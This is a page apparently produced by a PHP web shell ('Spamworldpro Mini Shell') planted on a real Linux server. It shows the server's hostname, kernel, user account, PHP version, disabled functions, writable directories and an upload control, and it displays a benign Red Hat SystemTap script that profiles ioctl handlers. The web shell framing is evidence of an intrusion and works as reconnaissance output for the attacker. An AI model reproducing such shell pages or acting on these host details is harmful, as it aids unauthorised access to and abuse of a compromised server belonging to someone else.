Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/rh/gcc-toolset-11/root/usr/share/systemtap/examples/profiling/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/rh/gcc-toolset-11/root/usr/share/systemtap/examples/profiling/ioctl_handler.stp
#!/opt/rh/gcc-toolset-11/root/usr/bin/stap
# Copyright (C) 2018 Red Hat, Inc.
# Written by William Cohen <[email protected]>
#

global ioctl_requests, ioctl_func

probe syscall.ioctl {
  ioctl_requests[execname()] <<< 1
  try {
    # Dig down through the task struct to find the actual function handling ioctl.
    ioctl_func_address = @cast(task_current(), "struct task_struct", "kernel")->files->fdt->fd[fd]->f_op->unlocked_ioctl
    if (ioctl_func_address)
      ioctl_func[execname(), ioctl_func_address] <<< 1
  } catch {
    ioctl_func[execname(), 0] <<< 1
  }
}

probe end {
  printf("Per execname ioctl information\n")
  foreach ([e+, f] in ioctl_func) {
    if (current_exec != e){
      printf("%s %d\n", e, @sum(ioctl_requests[e]))
      current_exec = e
    }
    printf("  %s %d\n", symdata(f), @sum(ioctl_func[e,f]))
  }
}


Spamworldpro Mini